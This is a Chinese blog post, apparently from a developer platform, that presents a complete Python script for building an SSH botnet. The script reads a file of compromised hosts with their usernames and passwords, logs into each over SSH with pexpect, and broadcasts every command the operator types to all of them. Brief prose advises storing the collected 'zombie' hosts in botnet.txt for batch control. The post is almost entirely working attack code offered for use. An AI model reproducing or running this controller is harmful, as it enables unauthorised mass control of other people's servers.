构建SSH僵尸网络

#!/usr/bin/python  
#coding=utf-8  
import optparse  
from pexpect import pxssh  
import optparse  


#建立一个名为botnet 的全局数组,其中记录了单个client 对象  
botNet=[]  
#定义一个用于存放host的列表以便判断当前host之前是否已经添加进botNet中了  
hosts = []  


'''
#定义一个客户端的类Client,生成Client()类对象的代码。为了构造client 对象,需要主机名、用户名,以及密码或密钥。
同时,这个类还要包含维持与肉机连接所需的方法——connect()、send_command()  
'''
class Client(object):  
    """docstring for Client"""  
    def __init__(self, host, user, password):  
        self.host = host  
        self.user = user  
        self.password = password  
        self.session = self.connect()  
  
    def connect(self):  
        try:  
            s = pxssh.pxssh()  
            s.login(self.host,self.user,self.password)  
            return s  
        except Exception, e:  
            print e  
            print '[-] Error Connecting'  
  
    def send_command(self, cmd):  
        self.session.sendline(cmd)  
        self.session.prompt()  
        return self.session.before  


'''
botnetCommand()函数只要一个参数——要发布的命令。这个函数遍历整个数组,把命令发送到botnet 数组中的每个client 上。
'''  
def botnetCommand(cmd, k):  
    for client in botNet:     
        output=client.send_command(cmd)  
        #若k为True即最后一台主机发起请求后就输出,否则输出会和之前的重复  
        if k:  
            print '[*] Output from '+client.host  
            print '[+] '+output+'\n'  
  
'''
addClient()的方法,它的输入是主机名、用户和密码,并以此实例化一个client 对象,并把它添加到botnet 数组里
'''   
def addClient(host,user,password): 
    if len(hosts) == 0:  
        hosts.append(host)  
        client=Client(host,user,password)  
        botNet.append(client)  
    else:  
        t = True  
        #遍历查看host是否存在hosts列表中,若不存在则进行添加操作  
        for h in hosts:  
            if h == host:  
                t = False  
        if t:  
            hosts.append(host)  
            client=Client(host,user,password)  
            botNet.append(client)  
  
def main():  
    parser=optparse.OptionParser('Usage : ./botNet.py -f <botNet file>')  
    parser.add_option('-f',dest='file',type='string',help='specify botNet file')  
    (options,args)=parser.parse_args()  
    file = options.file  
    if file==None:  
        print parser.usage  
        exit(0)  
      
    #计算文件行数,不能和下面的f用同一个open()否则会出错  
    count = len(open(file,'r').readlines())  
  
    while True:  
        cmd=raw_input("<SSH> ")  
        k = 0  
        f = open(file,'r')  
        for line in f.readlines():  
            line = line.strip('\n')  
            host = line.split(':')[0]  
            user = line.split(':')[1]  
            password = line.split(':')[2]  
  
            k += 1  
  
            #这里需要判断是否到最后一台主机调用函数,因为命令的输出结果会把前面的所有结果都输出从而会出现重复输出的情况  
            if k < count:  
                addClient(host,user,password)  
                #不是最后一台主机请求,则先不输出命令结果  
                botnetCommand(cmd,False)  
            else:  
                addClient(host,user,password)  
                #最后一台主机请求,则可以输出命令结果  
                botnetCommand(cmd,True)  
      
if __name__ =='__main__':  
    main()  
将僵尸主机的信息都保存在一个文件中、以:号将三类信息分割开,从而脚本可以方便地通过读取文件中的僵尸主机信息,同时脚本也实现了批量命令行交互的形式,和之前修改的ssh命令行交互的形式差不多,只是每次输入一条命令所有的僵尸主机都会去执行从而返回命令结果:

用户可以将收集到的ssh僵尸主机都保存在botnet.txt文件中,这样脚本运行起来执行就会十分地方便、实现批量式的操作。


  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值